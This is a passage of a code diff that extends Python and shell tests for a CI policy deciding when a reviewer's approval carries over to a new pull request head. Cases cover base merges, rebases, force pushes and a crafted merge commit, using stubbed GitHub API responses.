**_MERGED}, _IN_BASE), + "a rename off a hold path": (_THEN, {"files": [_PATCH, _DOC | {"status": "renamed", "previous_filename": _HELD.replace("live", "old")}], **_MERGED}, _IN_BASE), + "a non-merge commit": (_THEN, {"files": [_PATCH], **_moved((_OLD, [_BASE_SHA]), (_HEAD, [_OLD]))}, _IN_BASE), + "a merge of another branch": (_THEN, {"files": [_PATCH], **_moved((_OLD, [_BASE_SHA]), (_OTHER, [_BASE_SHA]), (_HEAD, [_OLD, _OTHER]))}, _IN_BASE), + "a force push": (_THEN, {"files": [_PATCH], **_moved((_REWRITTEN, [_BASE_SHA]), (_HEAD, [_REWRITTEN, _BASE_SHA]))}, _IN_BASE), + "a cut commit list": (_THEN, {"files": [_PATCH], **_MERGED, "total_commits": 251}, _IN_BASE), + "a hold-path file with no patch": (_THEN, {"files": [{"filename": _HELD, "status": "modified"}], **_MERGED}, _IN_BASE), +} # fmt: skip + + +@unittest.skipUnless(shutil.which("node"), "node not installed") +class TheCarriedLiftIsTheGates(unittest.TestCase): + def test_both_readers_carry_the_same_lifts(self) -> None: + proc = subprocess.run( + [ + "node", + "--input-type=module", + "-e", + NODE_CARRY % json.dumps(MODULE.as_uri()), + json.dumps( + [list(LIFT_CASES.values()), list(CARRY_CASES.values()), _OLD] + ), + ], + capture_output=True, + text=True, + check=True, + ) + lifts, carries = json.loads(proc.stdout) + for (name, reviews), js in zip(LIFT_CASES.items(), lifts, strict=True): + with self.subTest(name): + self.assertEqual( + [list(x) for x in policy.lifts_of(reviews, {1, 3})], js + ) + for (name, (then, now, in_base)), js in zip( + CARRY_CASES.items(), carries, strict=True + ): + with self.subTest(name): + self.assertEqual( + policy.base_merge_carry(then, now, _OLD, set(in_base)), js + ) + # The rule's answers: a trusted person's newest review approves a + # commit (a dismissed approval never counts); it carries over merges of + # base commits alone that leave the whole net change the same. + self.assertEqual( + dict(zip(LIFT_CASES, lifts, strict=True)), + dict.fromkeys(LIFT_CASES, []) + | { + "an approval of an earlier head": [["u1", _OLD]], + "a comment after an approval": [["u1", _OLD]], + "two people": [["u1", _OLD], ["u3", _HEAD]], + }, + ) + self.assertEqual( + {name for name, js in zip(CARRY_CASES, carries, strict=True) if js}, + {"a base merge", "a base merge with a non-hold file unchanged"}, + ) + + if __name__ == "__main__": unittest.main() diff --git a/scripts/ci-hold-cost-decision.test.sh b/scripts/ci-hold-cost-decision.test.sh index e06d687ee3..109415e195 100755 --- a/scripts/ci-hold-cost-decision.test.sh +++ b/scripts/ci-hold-cost-decision.test.sh @@ -116,6 +116,10 @@ case "$*" in [[ "$*" == *'branch=fix%2Fcost&'* ]] || exit 1 from "$STUB_RUNS" "$(key workflows "$@")" ;; +*/git/ref/heads/*) failing ref; printf '{"ref":"refs/heads/%s","object":{"sha":"%s"}}\n' "${STUB_BASE_REF:-main}" "$TIP_SHA" ;; +*/compare/"$MAIN_SHA...$TIP_SHA") failing compare; printf '{"status":"ahead"}\n' ;; +*/compare/*"...$TIP_SHA") failing compare; printf '{"status":"diverged"}\n' ;; +*/compare/"$TIP_SHA..."*) failing compare; args="$*"; from "$STUB_COMPARE" "${args##*...}" ;; */compare/"$BASE_SHA..."*) failing compare; args="$*"; from "$STUB_COMPARE" "${args##*...}" ;; */compare/"${STUB_BASE_REF:-main}..."*) failing compare; args="$*"; from "$STUB_COMPARE" "${args##*...}" ;; */actions/runs/*/jobs*) failing jobs; from "$STUB_JOBS" "$(key runs "$@")" ;; @@ -159,8 +163,19 @@ Held for a person." } TF='{"filename":"infra/main.tf","status":"modified","patch":"@@ -1 +1 @@\n-a\n+b"}' MORE='{"filename":"scripts/run.sh","status":"modified","patch":"+y"}' -# nets : the compare answers at OLD and HEAD. -nets() { STUB_COMPARE="$(jq -cn --arg h "$HEAD" --arg o "$OLD" --argjson a "$1" --argjson b "$2" '{($o): {files: $a}, ($h): {files: $b}}')"; export STUB_COMPARE; } +# nets [head-commits]: the compare answers at OLD +# and HEAD, HEAD a merge of the base into OLD unless [head-commits] lists +# its history. +MAIN_SHA=5555555555555555555555555555555555555555 +# The base branch's tip commit, which its full ref resolves to. +TIP_SHA=3333333333333333333333333333333333333333 +export MAIN_SHA TIP_SHA +nets() { + STUB_COMPARE="$(jq -cn --arg h "$HEAD" --arg o "$OLD" --arg m "$MAIN_SHA" --argjson a "$1" --argjson b "$2" --argjson c "${3:-null}" ' + ($c // [{sha: $o, parents: [{sha: $m}]}, {sha: $h, parents: [{sha: $o}, {sha: $m}]}]) as $c + | {($o): {files: $a, commits: [{sha: $o, parents: [{sha: $m}]}], total_commits: 1}, ($h): {files: $b, commits: $c, total_commits: ($c | length)}}')" + export STUB_COMPARE +} # push : a push to the head branch, as the repository # activity API lists it. push() { jq -cn --arg a "$1" --arg t "$2" '{after: $a, timestamp: $t, activity_type: "push", ref: "refs/heads/fix/cost"}'; } @@ -415,13 +430,28 @@ nodecided decided "$OLD" nets "[$TF]" "[$TF]" expect "a base merge after the decided head carries the decision" yes yes yes -if grep -q "compare/main...$OLD" "$TMP_ROOT/log"; then ok "the decided head's net change is read against the base branch"; else fail "no compare at the decided head"; fi +if grep -q "compare/$TIP_SHA...$OLD" "$TMP_ROOT/log"; then ok "the decided head's net change is read against the base branch's tip commit"; else fail "no compare at the decided head"; fi +if grep -q "git/ref/heads/main" "$TMP_ROOT/log" && ! grep -q "compare/main\.\.\.$OLD\|\.\.\.main$" "$TMP_ROOT/log"; then + ok "the base branch is resolved by its full ref, and no carry compare names it" +else + fail "the base reads: '$(grep -e compare -e git/ref "$TMP_ROOT/log")'" +fi +STUB_FAIL=ref expect "an unreadable base ref carries nothing" no no no "covering this head" nets "[$TF]" "[$TF,$MORE]" expect "a pull request commit after the decided head clears nothing" no no no "covering this head" nets "[$TF,$MORE]" "[$MORE,$TF]" -expect "a rebase with the same net change, in another file order, carries the decision" yes yes yes +expect "a base merge with the same net change, in another file order, carries the decision" yes yes yes nets "[$TF,$MORE]" "[$TF]" -expect "a rebase that drops one of its files clears nothing" no no no "covering this head" +expect "a base merge that drops one of its files clears nothing" no no no "covering this head" +nets "[$TF]" "[$TF]" "[{\"sha\":\"$OLD\",\"parents\":[{\"sha\":\"$MAIN_SHA\"}]},{\"sha\":\"$HEAD\",\"parents\":[{\"sha\":\"$OLD\"}]}]" +expect "a commit of its own with the same net change clears nothing" no no no "covering this head" +nets "[$TF]" "[$TF]" "[{\"sha\":\"6666666666666666666666666666666666666666\",\"parents\":[{\"sha\":\"$MAIN_SHA\"}]},{\"sha\":\"$HEAD\",\"parents\":[{\"sha\":\"6666666666666666666666666666666666666666\"},{\"sha\":\"$MAIN_SHA\"}]}]" +expect "a rebase that rewrites the decided head clears nothing" no no no "covering this head" +# A crafted merge commit (itself a merge of base commits) as the second parent. +X=7777777777777777777777777777777777777777 +nets "[$TF]" "[$TF]" "[{\"sha\":\"$OLD\",\"parents\":[{\"sha\":\"$MAIN_SHA\"}]},{\"sha\":\"$X\",\"parents\":[{\"sha\":\"$MAIN_SHA\"},{\"sha\":\"$MAIN_SHA\"}]},{\"sha\":\"$HEAD\",\"parents\":[{\"sha\":\"$OLD\"},{\"sha\":\"$X\"}]}]" +expect "a merge of a commit the base does not hold clears nothing" no no no "covering this head" +if grep -q "compare/$X...$TIP_SHA$" "$TMP_ROOT/log"; then ok "a merged parent is read against the base branch"; else fail "no compare of the merged parent: '$(grep compare "$TMP_ROOT/log")'"; fi nets "[$TF]" "[$(jq -c '.patch = "@@ -1 +1 @@\n-a\n+c"' <<<"$TF")]" expect "a conflict resolution that changes the net change clears nothing" no no no "covering this head" nets "[$TF]" "[$(jq -c '.status = "renamed" | .previous_filename = "infra/old.tf"' <<<"$TF")]" @@ -557,7 +587,7 @@ export STUB_FAIL=module expect "an unreadable base merge-holds.mjs carries no closing-issue decision" no no no "push history could not be checked" reset expect "at the decided head the decision carries" yes yes yes -if grep -q 'compare/main\.\.\.' "$TMP_ROOT/log"; then fail "a decision at its own head read a compare"; else ok "a decision at its own head reads no compare"; fi +if grep -q "compare/main\.\.\.\|compare/$TIP_SHA\.\.\.\|git/ref/" "$TMP_ROOT/log"; then fail "a decision at its own head read a compare"; else ok "a decision at its own head reads no compare"; fi nodecided decided "$OLD" nets "[$TF,$TF]" "[$TF,$TF]"